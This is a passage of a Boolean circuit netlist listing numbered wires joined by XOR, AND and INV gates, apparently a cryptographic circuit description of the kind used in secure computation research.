29266 XOR +2 1 34235 29190 29276 XOR +2 1 34231 29276 29272 XOR +2 1 29186 34235 29145 XOR +2 1 34230 29145 29275 XOR +2 1 29275 34230 29261 AND +2 1 29276 29272 29259 AND +2 1 35962 1441 34244 XOR +2 1 34244 9659 9741 XOR +2 1 9231 9232 35939 XOR +2 1 35939 1464 34221 XOR +2 1 34221 34215 9613 XOR +2 1 34218 34221 9612 XOR +2 1 9612 9534 9608 XOR +2 1 9517 9612 9604 XOR +2 1 34214 9604 9603 XOR +2 1 34219 34221 9518 XOR +2 1 9520 9518 9480 XOR +2 1 9517 9480 9602 XOR +2 1 9518 9524 9607 XOR +2 1 9518 9614 9599 XOR +2 1 9614 9599 9590 AND +2 1 34221 34216 9611 XOR +2 1 9611 9602 9589 AND +2 1 9589 9595 9546 XOR +2 1 9546 9518 9533 XOR +2 1 9604 9608 9597 AND +2 1 9607 9600 9592 AND +2 1 9597 9520 9523 XOR +2 1 9612 9601 9591 AND +2 1 9591 9519 9521 XOR +2 1 9523 9521 9527 XOR +2 1 9527 9546 9495 XOR +2 1 34219 9495 9538 XOR +2 1 9590 9591 9493 XOR +2 1 9493 9494 9540 XOR +2 1 34221 9527 9532 XOR +2 1 9613 9598 9594 AND +2 1 9594 9518 9522 XOR +2 1 9540 9522 9539 XOR +2 1 9593 9539 9587 XOR +2 1 9589 9592 9542 XOR +2 1 9522 9542 9496 XOR +2 1 9496 9521 9586 XOR +2 1 9590 9542 9536 XOR +2 1 9593 9536 9492 XOR +2 1 34215 9492 9580 XOR +2 1 9534 9607 9605 XOR +2 1 9605 9603 9596 AND +2 1 9590 9596 9541 XOR +2 1 9541 9533 9585 XOR +2 1 9541 9532 9588 XOR +2 1 9588 9587 9584 AND +2 1 9584 9538 9579 XOR +2 1 9584 9586 9583 XOR +2 1 9585 9583 9582 AND +2 1 9582 9594 9487 XOR +2 1 9487 9523 9483 XOR +2 1 34221 9483 9486 XOR +2 1 9582 9532 9484 XOR +2 1 34219 9483 9482 XOR +2 1 9582 9538 9581 XOR +2 1 9581 9607 9551 AND +2 1 9581 9600 9560 AND +2 1 9579 9580 9578 AND +2 1 9578 9536 9491 XOR +2 1 9578 9595 9490 XOR +2 1 9490 9592 9485 XOR +2 1 9485 9486 9569 XOR +2 1 9584 9578 9576 XOR +2 1 9569 9601 9559 AND +2 1 9586 9576 9575 AND +2 1 9575 9593 9545 XOR +2 1 34215 9545 9528 XOR +2 1 9545 9539 9567 XOR +2 1 9567 9608 9556 AND +2 1 9567 9604 9565 AND +2 1 9575 9583 9573 XOR +2 1 9581 9573 9572 AND +2 1 9572 9541 9531 XOR +2 1 9531 9533 9571 XOR +2 1 9572 9596 9489 XOR +2 1 9528 9489 9481 XOR +2 1 9481 9482 9566 XOR +2 1 9571 9610 9561 AND +2 1 9560 9561 9498 XOR +2 1 9531 9484 9568 XOR +2 1 9566 9599 9558 AND +2 1 9558 9561 9513 XOR +2 1 9558 9559 9509 XOR +1 1 9513 9510 INV +2 1 9571 9606 9552 AND +2 1 9560 9552 9516 XOR +2 1 9569 9612 9550 AND +2 1 9566 9614 9549 AND +2 1 9549 9550 9543 XOR +2 1 9516 9543 9512 XOR +2 1 9528 9491 9574 XOR +2 1 9574 9603 9564 AND +2 1 9568 9613 9553 AND +2 1 9518 9481 9488 XOR +2 1 9485 9488 9570 XOR +2 1 9570 9611 9548 AND +2 1 9559 9548 9508 XOR +1 1 9508 9504 INV +2 1 9578 9586 9577 XOR +2 1 9577 34214 9563 AND +2 1 9563 9565 9544 XOR +2 1 9544 9512 9515 XOR +2 1 9577 9609 9554 AND +2 1 9574 9605 9555 AND +2 1 9555 9543 9525 XOR +2 1 9556 9525 9526 XOR +2 1 9564 9526 9530 XOR +2 1 9565 9530 9535 XOR +2 1 9535 9509 9616 XOR +2 1 9563 9530 9499 XOR +2 1 9498 9499 36218 XOR +1 1 9616 32818 INV +2 1 9568 9598 9562 AND +2 1 9561 9562 9547 XOR +2 1 9558 9547 9537 XOR +2 1 9554 9537 9503 XOR +1 1 9503 9500 INV +2 1 9547 9535 36219 XOR +2 1 9562 9553 9514 XOR +2 1 9559 9537 9497 XOR +2 1 9526 9497 36220 XOR +2 1 36220 32818 10043 XOR +2 1 35960 1443 34242 XOR +2 1 34240 34242 9754 XOR +2 1 34242 34244 9660 XOR +2 1 9570 9602 9557 AND +2 1 9553 9557 9529 XOR +1 1 9529 9507 INV +2 1 9507 9551 9506 XOR +2 1 9507 9512 9511 XOR +2 1 9510 9511 9617 XOR +2 1 9506 9544 9502 XOR +2 1 9525 9502 9501 XOR +2 1 9500 9501 36217 XOR +2 1 9550 9502 9505 XOR +2 1 9504 9505 9615 XOR +1 1 9617 32819 INV +1 1 9615 32824 INV +2 1 33044 9220 35946 XOR +2 1 35946 1457 34228 XOR +2 1 35945 1458 34227 XOR +2 1 34227 34229 27784 XOR +2 1 36036 36043 9384 XOR +2 1 9395 9384 9191 XOR +2 1 36047 9191 35963 XOR +2 1 35963 1440 34245 XOR +2 1 34245 34240 9751 XOR +2 1 34245 34239 9753 XOR +2 1 34242 34245 9752 XOR +2 1 9752 9741 9731 AND +2 1 9731 9659 9661 XOR +2 1 9657 9752 9744 XOR +2 1 34238 9744 9743 XOR +2 1 9443 9384 9230 XOR +2 1 33038 9230 35940 XOR +2 1 35940 1463 34222 XOR +2 1 34222 34228 27790 XOR +2 1 27784 27790 27873 XOR +2 1 34227 27790 27876 XOR +2 1 9752 9674 9748 XOR +2 1 9744 9748 9737 AND +2 1 9737 9660 9663 XOR +2 1 9663 9661 9667 XOR +2 1 34245 9667 9672 XOR +2 1 34238 34244 9664 XOR +2 1 9664 9659 9740 XOR +2 1 9514 9515 9618 XOR +1 1 9618 32820 INV +2 1 33170 9193 35961 XOR +2 1 35961 1442 34243 XOR +2 1 34243 9659 9738 XOR +2 1 9753 9738 9734 AND +2 1 9660 34243 9619 XOR +2 1 34238 9619 9749 XOR +2 1 9749 34238 9735 AND +2 1 34243 34245 9658 XOR +2 1 9660 9658 9620 XOR +2 1 9658 9664 9747 XOR +2 1 9658 9754 9739 XOR +2 1 9754 9739 9730 AND +2 1 9730 9731 9633 XOR +2 1 9633 9634 9680 XOR +2 1 9674 9747 9745 XOR +2 1 9745 9743 9736 AND +2 1 9734 9658 9662 XOR +2 1 9680 9662 9679 XOR +2 1 9657 9620 9742 XOR +2 1 9751 9742 9729 AND +2 1 9747 9740 9732 AND +2 1 9729 9732 9682 XOR +2 1 9662 9682 9636 XOR +2 1 9636 9661 9726 XOR +2 1 9730 9682 9676 XOR +2 1 34243 9664 9750 XOR +2 1 34239 9750 9746 XOR +2 1 9750 9746 9733 AND +2 1 9733 9676 9632 XOR +2 1 34239 9632 9720 XOR +2 1 9733 9679 9727 XOR +2 1 9729 9735 9686 XOR +2 1 9667 9686 9635 XOR +2 1 34243 9635 9678 XOR +2 1 9686 9658 9673 XOR +2 1 9730 9736 9681 XOR +2 1 9681 9672 9728 XOR +2 1 9681 9673 9725 XOR +2 1 9728 9727 9724 AND +2 1 9724 9726 9723 XOR +2 1 9724 9678 9719 XOR +2 1 9725 9723 9722 AND +2 1 9722 9678 9721 XOR +2 1 9722 9734 9627 XOR +2 1 9627 9663 9623 XOR +2 1 34245 9623 9626 XOR +2 1 9721 9740 9700 AND +2 1 9721 9747 9691 AND +2 1 9722 9672 9624 XOR +2 1 34243 9623 9622 XOR +2 1 9719 9720 9718 AND +2 1 9718 9676 9631 XOR +2 1 9718 9726 9717 XOR +2 1 9718 9735 9630 XOR +2 1 9630 9732 9625 XOR +2 1 9717 9749 9694 AND +2 1 9724 9718 9716 XOR +2 1 9717 34238 9703 AND +2 1 9726 9716 9715 AND +2 1 9715 9723 9713 XOR +2 1 9625 9626 9709 XOR +2 1 9709 9752 9690 AND +2 1 9715 9733 9685 XOR +2 1 34239 9685 9668 XOR +2 1 9668 9631 9714 XOR +2 1 9714 9745 9695 AND +2 1 9714 9743 9704 AND +2 1 9685 9679 9707 XOR +2 1 9707 9748 9696 AND +2 1 9721 9713 9712 AND +2 1 9712 9736 9629 XOR +2 1 9668 9629 9621 XOR +2 1 9621 9622 9706 XOR +2 1 9658 9621 9628 XOR +2 1 9625 9628 9710 XOR +2 1 9710 9742 9697 AND +2 1 9710 9751 9688 AND +2 1 9709 9741 9699 AND +2 1 9699 9688 9648 XOR +1 1 9648 9644 INV +2 1 9707 9744 9705 AND +2 1 9703 9705 9684 XOR +2 1 9712 9681 9671 XOR +2 1 9671 9624 9708 XOR +2 1 9708 9753 9693 AND +2 1 9693 9697 9669 XOR +1 1 9669 9647 INV +2 1 9671 9673 9711 XOR +2 1 9711 9750 9701 AND +2 1 9700 9701 9638 XOR +2 1 9711 9746 9692 AND +2 1 9700 9692 9656 XOR +2 1 9708 9738 9702 AND +2 1 9702 9693 9654 XOR +2 1 9701 9702 9687 XOR +2 1 9647 9691 9646 XOR +2 1 9646 9684 9642 XOR +2 1 9690 9642 9645 XOR +2 1 9644 9645 9755 XOR +1 1 9755 32828 INV +2 1 9706 9739 9698 AND +2 1 9698 9687 9677 XOR +2 1 9694 9677 9643 XOR +1 1 9643 9640 INV +2 1 9698 9701 9653 XOR +1 1 9653 9650 INV +2 1 9698 9699 9649 XOR +2 1 9699 9677 9637 XOR +2 1 9706 9754 9689 AND +2 1 9689 9690 9683 XOR +2 1 9656 9683 9652 XOR +2 1 9684 9652 9655 XOR +2 1 9654 9655 9758 XOR +2 1 9647 9652 9651 XOR +2 1 9650 9651 9757 XOR +1 1 9757 32822 INV +1 1 9758 32823 INV +2 1 9695 9683 9665 XOR +2 1 9696 9665 9666 XOR +2 1 9704 9666 9670 XOR +2 1 9703 9670 9639 XOR +2 1 9638 9639 36250 XOR +2 1 9705 9670 9675 XOR +2 1 9675 9649 9756 XOR +2 1 9687 9675 36251 XOR +2 1 9665 9642 9641 XOR +2 1 9640 9641 36249 XOR +2 1 9666 9637 36252 XOR +2 1 36237 36252 10159 XOR +2 1 10159 36250 9930 XOR +1 1 10159 9926 INV +2 1 9926 32823 9924 XOR +2 1 9926 36249 9927 XOR +1 1 9756 32821 INV +1 1 9384 33230 INV +2 1 33230 33037 9229 XOR +2 1 33230 36051 9206 XOR +2 1 33230 36035 9223 XOR +2 1 9206 9207 35955 XOR +2 1 35955 1448 34237 XOR +2 1 34235 34237 29184 XOR +2 1 29184 29280 29265 XOR +2 1 34234 34237 29278 XOR +2 1 29278 29200 29274 XOR +2 1 29184 29190 29273 XOR +2 1 29200 29273 29271 XOR +2 1 29183 29278 29270 XOR +2 1 34230 29270 29269 XOR +2 1 29186 29184 29146 XOR +2 1 29183 29146 29268 XOR +2 1 34237 34231 29279 XOR +2 1 34237 34232 29277 XOR +2 1 29270 29274 29263 AND +2 1 29263 29186 29189 XOR +2 1 29271 29269 29262 AND +2 1 29279 29264 29260 AND +2 1 29260 29184 29188 XOR +2 1 29273 29266 29258 AND +2 1 29278 29267 29257 AND +2 1 29257 29185 29187 XOR +2 1 29189 29187 29193 XOR +2 1 34237 29193 29198 XOR +2 1 29280 29265 29256 AND +2 1 29256 29262 29207 XOR +2 1 29207 29198 29254 XOR +2 1 29256 29257 29159 XOR +2 1 29159 29160 29206 XOR +2 1 29206 29188 29205 XOR +2 1 29259 29205 29253 XOR +2 1 29277 29268 29255 AND +2 1 29255 29258 29208 XOR +2 1 29255 29261 29212 XOR +2 1 29212 29184 29199 XOR +2 1 29207 29199 29251 XOR +2 1 29256 29208 29202 XOR +2 1 29188 29208 29162 XOR +2 1 29162 29187 29252 XOR +2 1 29193 29212 29161 XOR +2 1 34235 29161 29204 XOR +2 1 29259 29202 29158 XOR +2 1 34231 29158 29246 XOR +2 1 29254 29253 29250 AND +2 1 29250 29204 29245 XOR +2 1 29250 29252 29249 XOR +2 1 29251 29249 29248 AND +2 1 29248 29204 29247 XOR +2 1 29248 29260 29153 XOR +2 1 29153 29189 29149 XOR +2 1 34237 29149 29152 XOR +2 1 29248 29198 29150 XOR +2 1 34235 29149 29148 XOR +2 1 29245 29246 29244 AND +2 1 29244 29252 29243 XOR +2 1 29250 29244 29242 XOR +2 1 29244 29202 29157 XOR +2 1 29244 29261 29156 XOR +2 1 29156 29258 29151 XOR +2 1 29151 29152 29235 XOR +2 1 29252 29242 29241 AND +2 1 29241 29249 29239 XOR +2 1 29241 29259 29211 XOR +2 1 29211 29205 29233 XOR +2 1 34231 29211 29194 XOR +2 1 29194 29157 29240 XOR +2 1 29247 29239 29238 AND +2 1 29238 29207 29197 XOR +2 1 29197 29199 29237 XOR +2 1 29238 29262 29155 XOR +2 1 29194 29155 29147 XOR +2 1 29184 29147 29154 XOR +2 1 29151 29154 29236 XOR +2 1 29197 29150 29234 XOR +2 1 29147 29148 29232 XOR +2 1 29233 29270 29231 AND +2 1 29240 29269 29230 AND +2 1 29243 34230 29229 AND +2 1 29229 29231 29210 XOR +2 1 29234 29264 29228 AND +2 1 29237 29276 29227 AND +2 1 29227 29228 29213 XOR +2 1 29247 29266 29226 AND +2 1 29226 29227 29164 XOR +2 1 29235 29267 29225 AND +2 1 29232 29265 29224 AND +2 1 29224 29213 29203 XOR +2 1 29224 29227 29179 XOR +1 1 29179 29176 INV +2 1 29224 29225 29175 XOR +2 1 29225 29203 29163 XOR +2 1 29236 29268 29223 AND +2 1 29233 29274 29222 AND +2 1 29240 29271 29221 AND +2 1 29243 29275 29220 AND +2 1 29220 29203 29169 XOR +1 1 29169 29166 INV +2 1 29234 29279 29219 AND +2 1 29219 29223 29195 XOR +2 1 29228 29219 29180 XOR +1 1 29195 29173 INV +2 1 29237 29272 29218 AND +2 1 29226 29218 29182 XOR +2 1 29247 29273 29217 AND +2 1 29173 29217 29172 XOR +2 1 29172 29210 29168 XOR +2 1 29235 29278 29216 AND +2 1 29216 29168 29171 XOR +2 1 29232 29280 29215 AND +2 1 29215 29216 29209 XOR +2 1 29221 29209 29191 XOR +2 1 29222 29191 29192 XOR +2 1 29230 29192 29196 XOR +2 1 29231 29196 29201 XOR +2 1 29213 29201 36264 XOR +2 1 29182 29209 29178 XOR +2 1 29210 29178 29181 XOR +2 1 29180 29181 29284 XOR +2 1 29173 29178 29177 XOR +2 1 29176 29177 29283 XOR +2 1 29201 29175 29282 XOR +2 1 29191 29168 29167 XOR +2 1 29166 29167 36262 XOR +2 1 36262 36266 10167 XOR +2 1 29229 29196 29165 XOR +2 1 29164 29165 36263 XOR +2 1 29192 29163 36265 XOR +2 1 36265 36269 10149 XOR +2 1 29236 29277 29214 AND +2 1 29225 29214 29174 XOR +1 1 29174 29170 INV +2 1 29170 29171 29281 XOR +2 1 10167 33154 9956 XOR +2 1 36264 36263 9955 XOR +2 1 10184 36264 10118 XOR +2 1 10149 36267 9954 XOR +2 1 9954 9955 10221 XOR +2 1 36264 36268 10166 XOR +2 1 10175 10166 10146 XOR +2 1 33230 36034 9225 XOR +2 1 9224 9225 35943 XOR +2 1 35943 1460 34225 XOR +2 1 34225 34224 27760 XOR +2 1 9222 9223 35944 XOR +2 1 35944 1459 34226 XOR +2 1 34226 34228 27786 XOR +2 1 34226 34229 27878 XOR +2 1 34224 34226 27880 XOR +2 1 27784 27880 27865 XOR +2 1 27786 27784 27746 XOR +2 1 27786 34227 27745 XOR +2 1 34222 27745 27875 XOR +2 1 27875 34222 27861 AND +2 1 27880 27865 27856 AND +2 1 9228 9229 9227 XOR +1 1 9227 35941 INV +2 1 35941 1462 34223 XOR +2 1 34223 34225 27783 XOR +2 1 34224 27783 27785 XOR +2 1 34228 27785 27867 XOR +2 1 34227 27785 27864 XOR +2 1 27790 27785 27866 XOR +2 1 34223 27876 27872 XOR +2 1 27783 27878 27870 XOR +2 1 34222 27870 27869 XOR +2 1 34223 34224 27800 XOR +2 1 27800 27873 27871 XOR +2 1 27878 27800 27874 XOR +2 1 27783 27746 27868 XOR +2 1 34229 34223 27879 XOR +2 1 27870 27874 27863 AND +2 1 27863 27786 27789 XOR +2 1 27871 27869 27862 AND +2 1 27856 27862 27807 XOR +2 1 27879 27864 27860 AND +2 1 27860 27784 27788 XOR +2 1 27876 27872 27859 AND +2 1 27873 27866 27858 AND +2 1 27878 27867 27857 AND +2 1 27857 27785 27787 XOR +2 1 27789 27787 27793 XOR +2 1 34229 27793 27798 XOR +2 1 27807 27798 27854 XOR +2 1 27856 27857 27759 XOR +2 1 27759 27760 27806 XOR +2 1 27806 27788 27805 XOR +2 1 27859 27805 27853 XOR +2 1 27877 27868 27855 AND +2 1 27855 27858 27808 XOR +2 1 27855 27861 27812 XOR +2 1 27812 27784 27799 XOR +2 1 27807 27799 27851 XOR +2 1 27856 27808 27802 XOR +2 1 27788 27808 27762 XOR +2 1 27762 27787 27852 XOR +2 1 27793 27812 27761 XOR +2 1 34227 27761 27804 XOR +2 1 27859 27802 27758 XOR +2 1 34223 27758 27846 XOR +2 1 27854 27853 27850 AND +2 1 27850 27804 27845 XOR +2 1 27850 27852 27849 XOR +2 1 27851 27849 27848 AND +2 1 27848 27804 27847 XOR +2 1 27848 27860 27753 XOR +2 1 27753 27789 27749 XOR +2 1 34229 27749 27752 XOR +2 1 27848 27798 27750 XOR +2 1 34227 27749 27748 XOR +2 1 27845 27846 27844 AND +2 1 27844 27852 27843 XOR +2 1 27850 27844 27842 XOR +2 1 27844 27802 27757 XOR +2 1 27844 27861 27756 XOR +2 1 27756 27858 27751 XOR +2 1 27751 27752 27835 XOR +2 1 27852 27842 27841 AND +2 1 27841 27849 27839 XOR +2 1 27841 27859 27811 XOR +2 1 27811 27805 27833 XOR +2 1 34223 27811 27794 XOR +2 1 27794 27757 27840 XOR +2 1 27847 27839 27838 AND +2 1 27838 27807 27797 XOR +2 1 27797 27799 27837 XOR +2 1 27838 27862 27755 XOR +2 1 27794 27755 27747 XOR +2 1 27784 27747 27754 XOR +2 1 27751 27754 27836 XOR +2 1 27797 27750 27834 XOR +2 1 27747 27748 27832 XOR +2 1 27833 27870 27831 AND +2 1 27840 27869 27830 AND +2 1 27843 34222 27829 AND +2 1 27829 27831 27810 XOR +2 1 27834 27864 27828 AND +2 1 27837 27876 27827 AND +2 1 27827 27828 27813 XOR +2 1 27847 27866 27826 AND +2 1 27826 27827 27764 XOR +2 1 27835 27867 27825 AND +2 1 27832 27865 27824 AND +2 1 27824 27813 27803 XOR +2 1 27824 27827 27779 XOR +1 1 27779 27776 INV +2 1 27824 27825 27775 XOR +2 1 27825 27803 27763 XOR +2 1 27836 27868 27823 AND +2 1 27833 27874 27822 AND +2 1 27840 27871 27821 AND +2 1 27843 27875 27820 AND +2 1 27820 27803 27769 XOR +1 1 27769 27766 INV +2 1 27834 27879 27819 AND +2 1 27819 27823 27795 XOR +2 1 27828 27819 27780 XOR +1 1 27795 27773 INV +2 1 27837 27872 27818 AND +2 1 27826 27818 27782 XOR +2 1 27847 27873 27817 AND +2 1 27773 27817 27772 XOR +2 1 27772 27810 27768 XOR +2 1 27835 27878 27816 AND +2 1 27816 27768 27771 XOR +2 1 27832 27880 27815 AND +2 1 27815 27816 27809 XOR +2 1 27821 27809 27791 XOR +2 1 27822 27791 27792 XOR +2 1 27830 27792 27796 XOR +2 1 27831 27796 27801 XOR +2 1 27813 27801 36203 XOR +2 1 27782 27809 27778 XOR +2 1 27810 27778 27781 XOR +2 1 27780 27781 27884 XOR +2 1 27773 27778 27777 XOR +2 1 27776 27777 27883 XOR +2 1 27801 27775 27882 XOR +2 1 33090 27882 10007 XOR +2 1 27791 27768 27767 XOR +2 1 27766 27767 36201 XOR +2 1 27829 27796 27765 XOR +2 1 27764 27765 36202 XOR +2 1 27792 27763 36206 XOR +2 1 36206 36211 10157 XOR +1 1 10157 10091 INV +2 1 27836 27877 27814 AND +2 1 27825 27814 27774 XOR +1 1 27774 27770 INV +2 1 27770 27771 27881 XOR +1 1 27882 36205 INV +1 1 27881 36204 INV +2 1 36214 27881 10024 XOR +2 1 10157 36214 9940 XOR +2 1 36209 36202 9941 XOR +2 1 9940 9941 10227 XOR +2 1 36210 36203 10085 XOR +2 1 10091 36213 10090 XOR +2 1 32826 27882 10081 XOR +2 1 36201 36208 10195 XOR +2 1 32825 27881 10083 XOR +2 1 36213 36203 9904 XOR +2 1 26622 36206 9987 XOR +1 1 10195 10078 INV +1 1 10149 10246 INV +2 1 10246 33082 10140 XOR +2 1 10246 36254 10109 XOR +1 1 27884 33117 INV +2 1 33117 32827 10196 XOR +2 1 10196 10155 10079 XOR +1 1 27883 33124 INV +2 1 10091 33124 10095 XOR +2 1 33124 36207 10197 XOR +1 1 29282 33145 INV +2 1 33145 33082 10172 XOR +2 1 10184 10172 10142 XOR +1 1 29283 33146 INV +2 1 10246 33146 10112 XOR +2 1 33146 33083 10179 XOR +1 1 29284 33147 INV +2 1 33147 33084 10199 XOR +2 1 10199 10161 9958 XOR +1 1 29281 33152 INV +2 1 33145 33152 10105 XOR +1 1 8895 33248 INV +2 1 33248 32807 8883 XOR +2 1 33248 35861 8878 XOR +2 1 8877 8878 35774 XOR +2 1 35774 532 34129 XOR +2 1 34129 34128 28040 XOR +2 1 33248 35852 8696 XOR +2 1 8696 8697 8967 XOR +2 1 8967 8911 35775 XOR +2 1 35775 531 34130 XOR +2 1 34130 34132 28066 XOR +2 1 34130 34133 28158 XOR +2 1 34128 34130 28160 XOR +2 1 28064 28160 28145 XOR +2 1 28066 28064 28026 XOR +2 1 28066 34131 28025 XOR +2 1 34126 28025 28155 XOR +2 1 28155 34126 28141 AND +2 1 28160 28145 28136 AND +2 1 8882 8883 8881 XOR +1 1 8881 35772 INV +2 1 35772 534 34127 XOR +2 1 34127 34129 28063 XOR +2 1 34128 28063 28065 XOR +2 1 34132 28065 28147 XOR +2 1 34131 28065 28144 XOR +2 1 28070 28065 28146 XOR +2 1 34127 28156 28152 XOR +2 1 28063 28158 28150 XOR +2 1 34126 28150 28149 XOR +2 1 34127 34128 28080 XOR +2 1 28080 28153 28151 XOR +2 1 28158 28080 28154 XOR +2 1 28063 28026 28148 XOR +2 1 34133 34127 28159 XOR +2 1 28150 28154 28143 AND +2 1 28143 28066 28069 XOR +2 1 28151 28149 28142 AND +2 1 28136 28142 28087 XOR +2 1 28159 28144 28140 AND +2 1 28140 28064 28068 XOR +2 1 28156 28152 28139 AND +2 1 28153 28146 28138 AND +2 1 28158 28147 28137 AND +2 1 28137 28065 28067 XOR +2 1 28069 28067 28073 XOR +2 1 34133 28073 28078 XOR +2 1 28087 28078 28134 XOR +2 1 28136 28137 28039 XOR +2 1 28039 28040 28086 XOR +2 1 28086 28068 28085 XOR +2 1 28139 28085 28133 XOR +2 1 28157 28148 28135 AND +2 1 28135 28138 28088 XOR +2 1 28135 28141 28092 XOR +2 1 28092 28064 28079 XOR +2 1 28087 28079 28131 XOR +2 1 28136 28088 28082 XOR +2 1 28068 28088 28042 XOR +2 1 28042 28067 28132 XOR +2 1 28073 28092 28041 XOR +2 1 34131 28041 28084 XOR +2 1 28139 28082 28038 XOR +2 1 34127 28038 28126 XOR +2 1 28134 28133 28130 AND +2 1 28130 28084 28125 XOR +2 1 28130 28132 28129 XOR +2 1 28131 28129 28128 AND +2 1 28128 28084 28127 XOR +2 1 28128 28140 28033 XOR +2 1 28033 28069 28029 XOR +2 1 34133 28029 28032 XOR +2 1 28128 28078 28030 XOR +2 1 34131 28029 28028 XOR +2 1 28125 28126 28124 AND +2 1 28124 28132 28123 XOR +2 1 28130 28124 28122 XOR +2 1 28124 28082 28037 XOR +2 1 28124 28141 28036 XOR +2 1 28036 28138 28031 XOR +2 1 28031 28032 28115 XOR +2 1 28132 28122 28121 AND +2 1 28121 28129 28119 XOR +2 1 28121 28139 28091 XOR +2 1 28091 28085 28113 XOR +2 1 34127 28091 28074 XOR +2 1 28074 28037 28120 XOR +2 1 28127 28119 28118 AND +2 1 28118 28087 28077 XOR +2 1 28077 28079 28117 XOR +2 1 28118 28142 28035 XOR +2 1 28074 28035 28027 XOR +2 1 28064 28027 28034 XOR +2 1 28031 28034 28116 XOR +2 1 28077 28030 28114 XOR +2 1 28027 28028 28112 XOR +2 1 28113 28150 28111 AND +2 1 28120 28149 28110 AND +2 1 28123 34126 28109 AND +2 1 28109 28111 28090 XOR +2 1 28114 28144 28108 AND +2 1 28117 28156 28107 AND +2 1 28107 28108 28093 XOR +2 1 28127 28146 28106 AND +2 1 28106 28107 28044 XOR +2 1 28115 28147 28105 AND +2 1 28112 28145 28104 AND +2 1 28104 28093 28083 XOR +2 1 28104 28107 28059 XOR +1 1 28059 28056 INV +2 1 28104 28105 28055 XOR +2 1 28105 28083 28043 XOR +2 1 28116 28148 28103 AND +2 1 28113 28154 28102 AND +2 1 28120 28151 28101 AND +2 1 28123 28155 28100 AND +2 1 28100 28083 28049 XOR +1 1 28049 28046 INV +2 1 28114 28159 28099 AND +2 1 28099 28103 28075 XOR +2 1 28108 28099 28060 XOR +1 1 28075 28053 INV +2 1 28117 28152 28098 AND +2 1 28106 28098 28062 XOR +2 1 28127 28153 28097 AND +2 1 28053 28097 28052 XOR +2 1 28052 28090 28048 XOR +2 1 28115 28158 28096 AND +2 1 28096 28048 28051 XOR +2 1 28112 28160 28095 AND +2 1 28095 28096 28089 XOR +2 1 28101 28089 28071 XOR +2 1 28102 28071 28072 XOR +2 1 28110 28072 28076 XOR +2 1 28111 28076 28081 XOR +2 1 28093 28081 36023 XOR +2 1 36018 36023 9411 XOR +2 1 28062 28089 28058 XOR +2 1 28090 28058 28061 XOR +2 1 28060 28061 28164 XOR +2 1 28053 28058 28057 XOR +2 1 28056 28057 28163 XOR +2 1 28081 28055 28162 XOR +2 1 28071 28048 28047 XOR +2 1 28046 28047 36021 XOR +2 1 36025 36021 9152 XOR +2 1 28109 28076 28045 XOR +2 1 28044 28045 36022 XOR +2 1 28072 28043 36024 XOR +2 1 36024 9291 35907 XOR +2 1 28116 28157 28094 AND +2 1 28105 28094 28054 XOR +1 1 28054 28050 INV +2 1 28050 28051 28161 XOR +1 1 28163 36020 INV +2 1 9411 9398 9276 XOR +2 1 33166 9276 35913 XOR +2 1 28163 33161 9138 XOR +2 1 36023 36017 9144 XOR +2 1 9143 9144 9469 XOR +2 1 36024 36028 9390 XOR +1 1 9390 9155 INV +2 1 35913 1490 34195 XOR +2 1 9137 9138 9471 XOR +2 1 9469 9403 35904 XOR +2 1 35904 1499 34186 XOR +2 1 9155 36031 9153 XOR +2 1 9390 36030 9151 XOR +1 1 9411 9253 INV +2 1 33168 36020 9422 XOR +2 1 9422 9420 9260 XOR +2 1 9422 9413 9282 XOR +2 1 36016 9282 35910 XOR +2 1 35910 1493 34192 XOR +2 1 9252 36023 9267 XOR +2 1 33180 28163 9270 XOR +2 1 36021 33168 9297 XOR +2 1 9296 9297 35902 XOR +2 1 9260 9261 35925 XOR +2 1 9471 9416 35901 XOR +2 1 35901 1502 34183 XOR +2 1 35925 1478 34207 XOR +2 1 9390 32817 9149 XOR +2 1 9151 9152 9465 XOR +2 1 35902 1501 34184 XOR +2 1 34183 34184 29340 XOR +2 1 34184 34186 29420 XOR +2 1 36017 36022 9415 XOR +2 1 9415 9413 9257 XOR +1 1 9415 9279 INV +2 1 9257 9258 35927 XOR +2 1 9279 9403 9277 XOR +2 1 35927 1476 34209 XOR +2 1 34207 34209 26383 XOR +2 1 9465 9415 35919 XOR +2 1 35919 1484 34201 XOR +1 1 36022 9142 INV +2 1 36026 9142 9154 XOR +2 1 9142 36016 9141 XOR +2 1 9153 9154 9464 XOR +2 1 9464 9411 35920 XOR +2 1 35920 1483 34202 XOR +2 1 9140 9141 9470 XOR +2 1 9470 9408 35903 XOR +2 1 35903 1500 34185 XOR +2 1 34183 34185 29323 XOR +2 1 34184 29323 29325 XOR +2 1 34185 34184 29300 XOR +2 1 9253 9408 9250 XOR +2 1 9250 9251 35928 XOR +2 1 35928 1475 34210 XOR +2 1 35907 1496 34189 XOR +2 1 34186 34189 29418 XOR +2 1 29418 29340 29414 XOR +2 1 29323 29418 29410 XOR +2 1 34189 34183 29419 XOR +2 1 34189 34184 29417 XOR +2 1 29410 29414 29403 AND +2 1 36016 36021 9418 XOR +2 1 9418 9416 9259 XOR +1 1 9418 9271 INV +2 1 9271 9408 9280 XOR +2 1 9271 36029 9269 XOR +2 1 9269 9270 35918 XOR +2 1 35918 1485 34200 XOR +2 1 34200 34202 23823 XOR +2 1 34201 34200 23703 XOR +2 1 36019 36024 9383 XOR +2 1 9383 32816 9246 XOR +2 1 9420 9383 9286 XOR +2 1 33161 9286 35908 XOR +2 1 35908 1495 34190 XOR +2 1 9246 9247 35931 XOR +2 1 35931 1472 34213 XOR +2 1 34213 34207 26479 XOR +2 1 34210 34213 26478 XOR +2 1 26383 26478 26470 XOR +1 1 9383 9477 INV +2 1 9477 36018 9278 XOR +2 1 9277 9278 35912 XOR +2 1 9477 36017 9281 XOR +2 1 9280 9281 35911 XOR +2 1 35912 1491 34194 XOR +2 1 34192 34194 25500 XOR +2 1 9477 33168 9285 XOR +2 1 35911 1492 34193 XOR +2 1 34193 34192 25380 XOR +1 1 28162 33121 INV +2 1 33121 33179 9400 XOR +2 1 9400 9383 9263 XOR +2 1 9400 9398 9248 XOR +2 1 33167 9248 35930 XOR +2 1 35930 1473 34212 XOR +2 1 34210 34212 26386 XOR +2 1 9400 32816 9292 XOR +2 1 36032 9263 35923 XOR +2 1 35923 1480 34205 XOR +2 1 34205 34200 23820 XOR +2 1 9292 9293 35906 XOR +2 1 35906 1497 34188 XOR +2 1 34188 29325 29407 XOR +2 1 34186 34188 29326 XOR +2 1 29403 29326 29329 XOR +2 1 29418 29407 29397 AND +2 1 29397 29325 29327 XOR +2 1 29329 29327 29333 XOR +2 1 34189 29333 29338 XOR +2 1 9382 33121 9273 XOR +2 1 9273 9274 35915 